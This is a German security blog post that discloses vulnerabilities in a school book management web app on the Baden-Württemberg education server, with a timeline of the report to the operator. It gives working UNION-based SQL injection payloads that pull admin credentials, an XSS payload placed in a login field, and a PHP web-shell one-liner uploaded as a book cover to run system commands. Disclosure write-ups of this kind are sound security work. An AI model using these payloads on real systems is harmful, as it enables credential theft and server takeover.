Schule-BW.de: Remote Code Execution auf dem Bildungsserver Baden-Württemberg

Eine Web Applikation zur Verwaltung von Schulbüchern auf dem Landesbildungsserver Baden-Württemberg erlaubte das Einschleusen von SQL-Statements. In Verbindung mit weiteren Schwachstellen war eine vollständige Kompromittierung des Servers möglich. Inzwischen hat das Institut für Bildungsanalysen Baden-Württemberg reagiert und die Webanwendung vom Netz genommen. In diesem Beitrag mal eine SQL-Injection ohne die Verwendung automatisierter Tools wie sqlmap.

Die Web Applikation


Man könnte denken, dass es sich hierbei um bWAPP 2.0 handelt. Das würde zumindest vom Namen her passen. Das BW steht jedoch für Baden-Württemberg und die App diente offensichtlich zur Verwaltung von Büchern. Die dort eingetragenen Bücher waren öffentlich einsehbar und dienten als Unterrichtsmaterial. Das Ganze war in PHP programmiert. Im oberen Screenshot sieht man die Login-Oberfläche, welche zwischen Redakteur, Referent und Administrator unterscheidet.

Ein kurzer Test mit einem einfachen Anführungszeichen brachte schon das erste Ergebnis: Die Webanwendung ist anfällig für SQL-Injections.

Das gleiche passierte auch, wenn man ein einfaches Anführungszeichen im Passwort verwendete. Das lässt auf eine Klartextspeicherung der Zugangsdaten schließen.

Let’s Häck

Zu beginn versuchte ich das Login durch einfache ODER-Verknüpfungen zu überlisten. ' OR 1=1; -- kann in solchen fällen helfen. Hier aber nicht. Anscheinend wurden mehrere SQL-Statements beim Login ausgeführt. Zum einen wurde der Login-Versuch samt Nutzername und Passwort protokolliert (INSERT) und zum anderen wurden die Zugangsdaten validiert (SELECT). Eine Payload zu kreieren, die beide SQL-Statements übersteht, war also nicht so trivial. Aber das sollte nicht die einzige SQL-Injection bleiben.

Als nächstes versuchte ich mein Glück am öffentlichen Teil der Webseite. Hier sieht man die Ansicht einzelner Bücher:

Der Parameter id stellt sich auch als “injectable” heraus.

Sogar das kaputte SQL-Statement wird vollständig ausgegeben. Das vereinfacht die Erstellung einer Payload.

Ziel soll es sein, die im Klartext gespeicherten Zugangsdaten durch die manipulation der SQL-Abfrage auszugeben. Dafür wäre es hilfreich, wenn die Webanwendung mehrere Zeilen ausgeben könnte, was bspw. mit der PDO-Funktion fetchAll() realisiert werden kann. Ein Test mit einer ' OR 1=1 OR 1='-Payload bestätigte dies. Insgesamt gab es 442 Einträge in der buch-Tabelle.

Um die SQL-Abfrage mit Daten aus einer anderen Tabelle zu kreuzen, eignet sich der UNION-Operator hervorragend. Dabei werden die Ergebnisse zweier Abfragen (SELECT‘s) auf unterschiedliche Tabellen miteinander kombiniert. Die Spalten müssen allerdings auch kombinierbar sein. Die Namen der Spalten (Columns) spielen dabei keine Rolle. Wichtig ist lediglich, dass die Anzahl der Spalten identisch ist und dass die Datentypen übereinstimmen. Der Rückgabewert NULL verträgt sich zudem mit jedem Datentyp. Das ist sehr hilfreich, wenn die Tabellenstruktur noch unbekannt ist.

Da die Anzahl der Spalten identisch sein muss, galt es zunächst herauszufinden, wie viele Spalten die originale Abfrage auf die buch-Tabelle liefert.

Bei 8 Spalten würde ein UNION SELECT mit insgesamt 8 mal NULL erfolgreich sein.

43545' UNION SELECT NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL --

Das -- am Ende kommentiert den restlichen Teil der originalen Abfrage aus, da dieser Sonst zu einem Syntaxfehler führen würde.

Nach einer Trial-and-Error-Phase stellt sich heraus, dass ein UNION SELECT mit 36 mal NULL sprich 36 Spalten erfolgreich ist und keinen SQL-Fehler verursacht.

Wie man sehen kann, sind nun alle Felder wie erwartet leer. Um die URL einfacher bearbeiten zu können, verwende ich hier die Firefox-Extension HackBar Quantum.

Als nächstes kann die Ausgabe beliebiger Werte versucht werden. Dabei kann man anstelle NULL einen beliebigen String verwenden. Hier trifft man jedoch auf das Datentyp-Problem. Nur Spalten die auch im ursprünglichen SELECT einen String zurückgeben, können hierfür verwendet werden. Ich suchte mir die Spalten für den Buchtitel und Autor aus, welche ich nach stumpfen rumprobieren in Spalte 10 und 11 entdeckte. Zwei Spalten zur Ausgabe von Informationen aus anderen Tabellen sollten fürs erste genügen.

43545' UNION SELECT NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,'test1','test2',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL--

Nun wäre es möglich das “virtuelle” SELECT durch eine Abfrage auf eine andere Tabelle zu ersetzen. Dafür muss man aber den Namen der Tabelle sowie die Spaltenbezeichnungen kennen. Diese Informationen stellt das Information Schema bereit. Dabei handelt es sich um eine Datenbank, die Meta-Informationen zu allen im System befindlichen Datenbanken und Tabellen bereitstellt. Unter MySQL und MariaDB heißt diese Datenbank information_schema. Die Tabelle columns enthält alle Spaltenbezeichnungen (column_name) inklusive den Namen der Tabelle (table_name). Daraus lässt sich folgende Abfrage basteln:

43545' UNION SELECT NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,table_name,column_name,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL FROM information_schema.columns --

In der Tabelle dbbuch_log_auth werden scheinbar alle Loginversuche samt Benutzerrolle, Benutername und Passwort gespeichert.

Relevante Spalten der Tabelle dbbuch_log_auth:

  • auth_role
  • auth_login
  • auth_pass

Nachdem nun alle Tabellennamen und alle Spaltenbezeichnungen bekannt sind, können gezielt Abfragen durchgeführt werden.

Abfrage der Rollen aus der Tabelle dbbuch_log_auth:

43545' UNION SELECT NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,auth_role,NULL, NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL FROM dbbuch_log_auth --

Scheinbar gibt es drei Rollen, Admin, Redakteur und Referent, was auch schon in der Loginmaske sichtbar war. Als nächstes eine Abfrage der Zugangsdaten für alle Admins.

43545' UNION SELECT NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,auth_login,auth_passwort,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL FROM dbbuch_log_auth WHERE auth_role = 'Admin' --

Insgesamt waren ca. 10 Admins in der Tabelle vorhanden. Mit den Zugangsdaten war nun ein Login mögich.

Ein Blick ins Admin-Interface

Neben einigen Funktion zum Bearbeiten der Bucheinträge, hatten Admins auch die Möglichkeit, einige “Admin only” Funktionen zu nutzen.

Unter anderem gab es die Funktion “Login-Liste anzeigen”. Dabei wurden alle erfolgreichen und fehlgeschlagenen Login-Versuche samt Benutzername und Passwort der letzten 7 Tage aufgelistet.

XSS darf nicht fehlen!

Was würde nun passieren wenn ich als Benutzername eine XSS-Payload verwendet?
z.B. <script>alert(document.cookie)</script> 🤔

Klar, der Login versuch schlägt fehl. Und was würde ein Admin dann sehen?

Super!

Die Sache mit den Uploads

Immer wenn man irgendwo Dateien hochladen kann, interessiert mich wie und wo die Daten abgespeichert werden. In dem Fall haben alle Benutzer die Möglichkeit Buch-Cover hochzuladen. Dabei sollte der Dateityp geprüft werden. Ansonsten hat man das Problem eines Unrestricted File Uploads. Dabei könnten z.B. HTML-Dateien hochgeladen werden, welche XSS erlauben oder im schlimmsten Fall auch PHP-Dateien, die bei Aufruf interpretiert und ausgeführt werden. Da ich dieser Webanwendung alles zutraue, fing ich direkt mit dem Worst-Case-Szenario an – Den Upload einer PHP-Datei.

Der Inhalt der Datei:
<?php echo system($_GET["cmd"]) ?>
Dieser 1-Zeiler erlaubt die Ausführung von Systembefehlen und gibt den Output im Response zurück.

Nach dem Upload wurde das Buchcover lediglich als Broken-Image vom Browser angezeigt. Nicht verwunderlich, denn der Browser kann mit einer PHP-Datei in einem Image-Tag nicht viel anfangen. Bei Aufruf des “Bildes” in einem neuen Tab, wurde das Erebnis sichtbar:

Eine Ausführung von Systembefehlen war möglich. Mich interessierten nun noch die Hardware-Spezifikationen des Servers.

40 CPU-Kerne und 65 GB RAM. Not bad!

Report Timeline

14.12.2020 – Meldung der Lücke(n) per Mail an das Institut für Bildungsanalysen Baden-Württemberg (IBBW).
15.12.2020 – Die Webanwendung wurde laut Aussage des IBBW umgehend vom Netz genommen.

Am nächsten Tag besucht ich die Webseite erneut. Tatsächlich war die Webanwendung nicht mehr unter der bekannten URL auffindbar. Lediglich ein 404-Fehler erschien.

Leider hatte man scheinbar auch das Index-Dokument des Apache-Webservers im root-Verzeichnis gelöscht, was nun zur Auflistung aller Ordner und Dateien führte (Directory Listings).

Wie man sehen kann, wurde der Verzeichnisname in dem sich die Webawendung befindet, einfach mit einem “.blocked” versehen.

Eine Anpassung der URL brachte die bekannte Webanwendung samt allen Schwachstellen wieder zum Vorschein. 😖

16.12.2020 – Erneute Kontaktaufnahme und erneute Schilderung des Problems
17.12.2020 – Der Support vom Landesbildungsserver Baden-Württemberg schützt die Webanwendung nun mit einer Basic-Auth und antwortet mir mit “Da haben uns ein paar Altlasten gewaltig eingeholt”.

Fazit

Eine tolle Webanwendung zum häcken lernen! Vielleicht sollte Schule-BW wirklich über ein Release der Anwendung als bWAPP 2.0 nachdenken. Dann aber eher in einer Sandbox-Umgebung.

Kommentare

Schreibe einen Kommentar

Deine E-Mail-Adresse wird nicht veröffentlicht.